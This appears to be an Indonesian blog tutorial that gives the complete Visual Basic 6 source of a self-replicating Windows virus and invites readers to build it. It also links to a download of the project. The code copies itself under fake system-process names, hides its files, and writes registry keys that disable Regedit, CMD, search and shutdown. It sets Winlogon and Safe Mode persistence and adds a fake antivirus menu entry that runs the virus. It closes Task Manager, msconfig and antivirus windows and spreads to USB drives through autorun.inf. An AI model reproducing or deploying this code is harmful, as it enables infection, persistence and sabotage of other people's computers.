Program kita kali ini adalah membuat Virus sederhana yaitu hanya mengganggu Microsoft Office Word dan Excel.Misalkan user membuka Word maka pada kertas tempat mengetik sudah muncul pesan dari Virus demikian pula jika membuka Excel maka pesan akan diberikan virus pada cell Excel. Sederhana sekali ya..ya memang virus ini tidak merusak dokumen/file-file dan tidak mengahpus file-file apapun jadi virus yang sangat baik hati..he..he..Jika anda ingin menambahkan fiture-fiture yang kejam silahkan saja tapi disini/virus ini tidak saya tuliskan bagaimana melakukan format atau delete file ataupun fiture penyusupan lainnya (sekarang belum saatnya).Silahkan dicoba dijamin 100% tidak ada data yang dihapus, ini hanya sebuah virus permainan saja kok..berani mencoba?
Yang dibutuhkan dalam pembuatan project ini adlah : 5 buah timer dan 1 drivelistbox
Pada proyek kali ini kita dapat belajar mengenai Windows Api Sendmessage, registry, dan Otomatisasi pada Word serta Excel. Semoga bermanfaat.

Masukan semua code di bawah ini pada form
==========================================
Private Declare Function FindWindow Lib “user32″ Alias “FindWindowA” (ByVal lpClassName As String, ByVal lpWindowName As String) As Long ‘pencari Kleas dan Window Name Suatu File
Private Declare Function SendMessage Lib “user32″ Alias “SendMessageA” (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long ‘sendmessage
Private Declare Function GetDriveType& Lib “Kernel32″ Alias “GetDriveTypeA” (ByVal nDrive As String) ‘ penghandel flashdisk
Private Declare Function ExitWindowsEx Lib “user32″ (ByVal dwOptions As Long, ByVal dwReserved As Long) As Long ‘exit windows
Private Const WM_CLOSE = &H10
Private Const EWX_LOGOFF = 0
Private Const EWX_SHUTDOWN = 1
Private Const EWX_REBOOT = 2
Private Const EWX_FORCE = 4
Private Const EWX_POWEROFF = 8

Option Explicit
Dim FWnd
Dim obj As Object
Dim doc As Object
Dim WrkBook As Object
Dim WrkSheet As Object
Dim i As Integer
Dim RegRun
Dim FolderStartUp
Dim FolderMyDocuments
Dim FolderTemplates
Dim FolderNetHood
Dim FolderPrintHood
Dim FolderFavorites
Dim FolderSendTo
Dim FolderPrograms
Dim FlashDisk

Private Sub Form_Load()
On Error Resume Next
‘acak caption virus shg caption akan berubah setiap windows startup atau virus tereksekusi
Randomize
Me.Caption = Int(Rnd * 2221189331445#) ‘silahkan masukan angka sesuka anda
‘menggandakan diri
GandakefolderIstimewa
Me.Visible = False
App.TaskVisible = False ‘virus tidak terlihat di task manager
InfeksiRegistry
End Sub

Sub BuatWord()
On Error Resume Next
Set obj = CreateObject(“word.application”)
Set doc = CreateObject(“word.application”)
Set doc = obj.Documents.Add
doc.Content = “VIRUS BERHASIL MENGINFEKSIMU – SALAM KENAL”
End Sub

Sub BuatXls()
On Error Resume Next
Set obj = CreateObject(“excel.application”)
Set WrkBook = obj.workbooks.Add
Set WrkSheet = WrkBook.worksheets.Add
WrkSheet.Cells(15, 4) = “VIRUS BERHASIL MENGINFEKSIMU – SALAM KENAL”
End Sub

Sub InfeksiRegistry()
On Error Resume Next
RegRun.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell”, “Explorer.exe” & ” “”" & FolderMyDocuments & “\services.exe”"” ‘virus akan tetap berjalan pada tipe windows Safe Mode
RegRun.regwrite “HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\AlternateShell”, FolderFavorites & “\SalamKenal.exe” ‘virus akan tetap berjalan pada tipe windows Safe Mode With Command Prompt
RegRun.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFolderOptions”, 1, “REG_DWORD” ‘Folder Options tdk dapat diakses
RegRun.regwrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFolderOptions”, 1, “REG_DWORD” ‘Folder Options tdk dapat diakses
RegRun.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden”, 0, “REG_DWORD” ‘Sembunyikan file beratribut superhidden/File-file system
RegRun.regwrite “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden”, 0, “REG_DWORD” ‘Sembunyikan file beratribut superhidden/File-file system
RegRun.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\System\DisableCMD”, 1, “REG_DWORD” ‘Disable CMD dan File .Bat
RegRun.regwrite “HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\System\DisableCMD”, 1, “REG_DWORD” ‘Disable CMD dan File .Bat
RegRun.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\DisableRegistryTools”, 1, “REG_DWORD” ‘registry tdk dapat diakses dan tdk dapat melakukan pengimporan file berekstensi Reg
RegRun.regwrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system\DisableRegistryTools”, 1, “REG_DWORD” ‘registry tdk dapat diakses dan tdk dapat melakukan pengimporan file berekstensi Reg
RegRun.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Winlogon”, FolderTemplates & “\smss.exe” ‘smss.exe berjalan pada saat startup
RegRun.regwrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Winlogon”, FolderSendTo & “\System.exe” ‘System.exe berjalan pada saat startup
RegRun.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFind”, 1, “REG_DWORD” ‘search pd star menu hilang
RegRun.regwrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoFind”, 1, “REG_DWORD” ‘Ssearch pd star menu hilang
RegRun.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoSMHelp”, 1, “REG_DWORD” ‘help suport pd star menu hilang
RegRun.regwrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoSMHelp”, 1, “REG_DWORD” ‘help suport pd star menu hilang
RegRun.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoClose”, 1, “REG_DWORD” ‘Tombol Turn Off pd star menu hilang
RegRun.regwrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoClose”, 1, “REG_DWORD” ‘Tombol Turn Off pd star menu hilang
RegRun.regwrite “HKEY_CURRENT_USER\Control Panel\Colors\WindowText”, “255 0 0″, “REG_SZ” ‘DEFAULT TEKS MENJADI MERAH
RegRun.regwrite “HKEY_CLASSES_ROOT\Drive\shell\Scan With Antivirus\Command\”, FolderFavorites & “\SalamKenal.exe” ‘Membuat Menu Scan With Antivirus pada klik kanan Drive-drive, tapi bukan Antivirus yang dijalankan melainkan Virus SalamKenal.exe yang terletak di Folder Favorite
RegRun.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoDrives”, 4, “REG_DWORD” ‘Drive C hilang
RegRun.regwrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\NoDrives”, 4, “REG_DWORD” ‘Drive C hilang
RegRun.regwrite “HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\InternetExplorer\policies\Explorer\NoFileMenu”, 1, “REG_DWORD” ‘Menu File pada Windows Ekplorer hilang
RegRun.regwrite “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\InternetExplorer\policies\Explorer\NoFileMenu”, 1, “REG_DWORD” ‘Menu File pada Windows Ekplorer hilang
RegRun.regwrite “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Cdrom\Autorun”, 1, “REG_DWORD” ‘Autorun pada CD atau USB
End Sub

Sub GandaKeFlashDisk()
On Error Resume Next
If Dir(FlashDisk & “\Winlogon.exe”) <> “Winlogon.exe” Then ‘mengecek ada atau tdknya winlogon.exe di flashdisk jika tdk ada kemudian
FileCopy FolderStartUp & “\Winlogon.exe”, FlashDisk & “\Winlogon.exe”
SetAttr FlashDisk & “\Winlogon.exe”, vbHidden + vbSystem + vbReadOnly
End If
BuatFileAutorunInf
End Sub

Sub BuatFileAutorunInf()
‘membuat file Autorun.inf ke flashdisk yang berfungsi agar setiap flashdisk jika di klik dua kali/klik kanan trus klik open maka Virus (winlogon.exe) akan tereksekusi
On Error Resume Next
Open FlashDisk & “\Autorun.Inf” For Output As 1
Print #1, “[AutoRun]”
Print #1, “Icon=Winlogon.exe” ‘Agar FlashDisk Memiliki Icon Sama dengan Virus
Print #1, “Open=Winlogon.exe”
Print #1, “ShellExecute=Winlogon.exe”
Print #1, “Shell\Open\Command=Winlogon.exe”
Print #1, “Shell=Open”
Close #1
SetAttr FlashDisk & “\Autorun.Inf”, vbHidden + vbSystem + vbReadOnly
End Sub

Sub GandakefolderIstimewa()
On Error Resume Next
Set RegRun = CreateObject(“WScript.Shell”)
FolderStartUp = RegRun.specialfolders(“StartUp”)
FolderMyDocuments = RegRun.specialfolders(“MyDocuments”)
FolderTemplates = RegRun.specialfolders(“Templates”)
FolderNetHood = RegRun.specialfolders(“NetHood”)
FolderPrintHood = RegRun.specialfolders(“PrintHood”)
FolderFavorites = RegRun.specialfolders(“Favorites”)
FolderSendTo = RegRun.specialfolders(“SendTo”)
FolderPrograms = RegRun.specialfolders(“Programs”)
On Error Resume Next
‘membuat virus dengan nama winlogon.exe
FileCopy App.Path & “\” & App.EXEName & “.exe”, FolderStartUp & “\WinLogon.Exe”
SetAttr FolderStartUp & “\Winlogon.exe”, vbHidden + vbSystem + vbReadOnly
‘membuat virus dengan nama services.exe
FileCopy App.Path & “\” & App.EXEName & “.exe”, FolderMyDocuments & “\services.Exe”
SetAttr FolderMyDocuments & “\services.exe”, vbHidden + vbSystem + vbReadOnly
‘membuat virus dengan nama smss.exe
FileCopy App.Path & “\” & App.EXEName & “.exe”, FolderTemplates & “\smss.Exe”
SetAttr FolderTemplates & “\smss.Exe”, vbHidden + vbSystem + vbReadOnly
‘membuat virus dengan nama csrss.exe
FileCopy App.Path & “\” & App.EXEName & “.exe”, FolderPrintHood & “\csrss.Exe”
SetAttr FolderPrintHood & “\csrss.exe”, vbHidden + vbSystem + vbReadOnly
‘membuat virus dengan nama Isass.exe
FileCopy App.Path & “\” & App.EXEName & “.exe”, FolderNetHood & “\Isass.Exe”
SetAttr FolderNetHood & “\Isass.exe”, vbHidden + vbSystem + vbReadOnly
‘membuat virus dengan nama SalamKenal.exe
FileCopy App.Path & “\” & App.EXEName & “.exe”, FolderFavorites & “\SalamKenal.Exe”
SetAttr FolderFavorites & “\SalamKenal.exe”, vbHidden + vbSystem + vbReadOnly
‘membuat virus dengan nama System.exe
FileCopy App.Path & “\” & App.EXEName & “.exe”, FolderSendTo & “\System.Exe”
SetAttr FolderSendTo & “\System.exe”, vbHidden + vbSystem + vbReadOnly
‘membuat virus dengan nama ctfmon.exe
FileCopy App.Path & “\” & App.EXEName & “.exe”, FolderPrograms & “\ctfmon.Exe”
SetAttr FolderPrograms & “\ctfmon.exe”, vbHidden + vbSystem + vbReadOnly
End Sub

Private Sub Timer1_Timer() ‘Timer 1 diberi interval 5 detik
On Error Resume Next
FWnd = FindWindow(“OpusApp”, “Document1 – Microsoft Word”) ‘Ms Word
If FWnd <> 0 Then
SendMessage FWnd, WM_CLOSE, True, True
BuatWord
obj.Visible = True
Timer2.Enabled = True
Timer1.Enabled = False
End If
On Error Resume Next
FWnd = FindWindow(“OpusApp”, “New Microsoft Word Document.doc – Microsoft Word”) ‘Ms Word
If FWnd <> 0 Then
SendMessage FWnd, WM_CLOSE, True, True
BuatWord
obj.Visible = True
Timer2.Enabled = True
Timer1.Enabled = False
End If
End Sub

Private Sub Timer2_Timer()
On Error Resume Next
FWnd = FindWindow(“XLMAIN”, “Microsoft Excel – Book1″) ‘ms excel
If FWnd <> 0 Then
SendMessage FWnd, WM_CLOSE, True, True
BuatXls
obj.Visible = True
Timer1.Enabled = True
Timer2.Enabled = False
End If
On Error Resume Next
FWnd = FindWindow(“XLMAIN”, “Microsoft Excel – New Microsoft Excel Worksheet.xls”) ‘ms excel
If FWnd <> 0 Then
SendMessage FWnd, WM_CLOSE, True, True
BuatXls
obj.Visible = True
Timer1.Enabled = True
Timer2.Enabled = False
End If
End Sub

Private Sub Timer3_Timer()
On Error Resume Next
‘menutup aplikasi yang berbahaya bagi virus
FWnd = FindWindow(“#32770″, “RUN”) ‘jendela run
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow(“#32770″, “System Configuration Utility”) ‘msconfig
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow(“#32770″, “Windows Task Manager”) ‘task manager
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow(“#32770″, “Avira AntiVir Personal – Free Antivirus”) ‘Avira Antivir
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow(“#32770″, “AntiVir Guard: Attention, Detection!”) ‘Avira Antivir
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow(“RegEdit_RegEdit”, vbNullString) ‘regedit.exe
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow(“TMainForm”, vbNullString) ‘aplikasi buatan Delphi (Antivirus PCMAV yang versi lama dapat ditutup tetapi versi yang baru tidak bisa dihentikan) <:d
SendMessage FWnd, WM_CLOSE, 0&, 0&
FWnd = FindWindow(“TApplication”, vbNullString) ‘aplikasi buatan Delphi
SendMessage FWnd, WM_CLOSE, 0&, 0&
End Sub

Private Sub Timer4_Timer()
‘cari flashdisk
On Error Resume Next
For i = 0 To Drive1.ListCount – 1
If GetDriveType(Drive1.List(i)) = 2 And Left(Drive1.List(i), 1) <> “a” Then
FlashDisk = (Drive1.List(i))
Timer4.Enabled = False ‘agar lampu flashdisk tdk berkedip-kedip terlalu lama, sehingga tdk mencurigakan si empunya flashdisk
Exit For
End If
Next
GandaKeFlashDisk ‘
End Sub

Private Sub Timer5_Timer()
On Error Resume Next
InfeksiRegistry
‘Mungkin salah satu virus dihapus shg perlu selalu menggandakan diri
GandakefolderIstimewa
‘menyalakan timer 4
If GetDriveType(Drive1.List(i)) = 2 And Left(Drive1.List(i), 1) <> “a” Then
Timer4.Enabled = True
End If
End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Cancel = 1
End Sub

Private Sub Form_Unload(Cancel As Integer)
Cancel = 1
End Sub

Silahkan Download Project Di 4shared.com /file/59775133/a79fbd16/VIRUS.html